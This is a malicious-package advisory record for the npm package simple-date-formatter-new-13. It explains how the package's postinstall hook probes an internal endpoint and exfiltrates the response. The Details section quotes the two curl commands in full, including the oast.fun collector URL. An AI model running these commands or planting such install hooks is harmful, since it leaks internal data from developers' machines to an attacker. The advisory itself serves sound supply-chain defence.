MAL-2026-17159

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17159
Published
2026-09-24T13:17:05Z
Modified
2026-09-24T13:30:04Z
Summary
Malicious code in simple-date-formatter-new-13 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)

simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every npm install. The postinstall runs curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt against an internal Baidu network endpoint, then curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running npm install will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020509",
            "import_time":  "2026-09-24T13:18:04.573654944Z",
            "modified_time":  "2026-09-24T13:17:05Z",
            "sha256":  "8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / simple-date-formatter-new-13

Package

Name
simple-date-formatter-new-13
View open source insights on deps.dev
Purl
pkg:npm/simple-date-formatter-new-13

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "883c50c4d679a0345a9b060cb463945383bfbc8977d64744a63ad573d6b93340",
            "tlsh":  "f1f05c44d6545db397c286fc9a66050e7a01ae0714447d05b39a08ac879aaf641be30f"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "simple-date-formatter-new-13-1.0.0.tgz",
            "hashes":  {
                "sha1":  "12902868e262a7fe5ed5a9c1d4f38feca3d551dc",
                "sha512_sri":  "sha512-gJoi/A+l4g/xNaRMllVvTZ39y29duntIU/XNnnWQHYGRR5DTmHUZEoNUigmAFVUIQObpfrDWY1g/xkfsnXlfwQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json"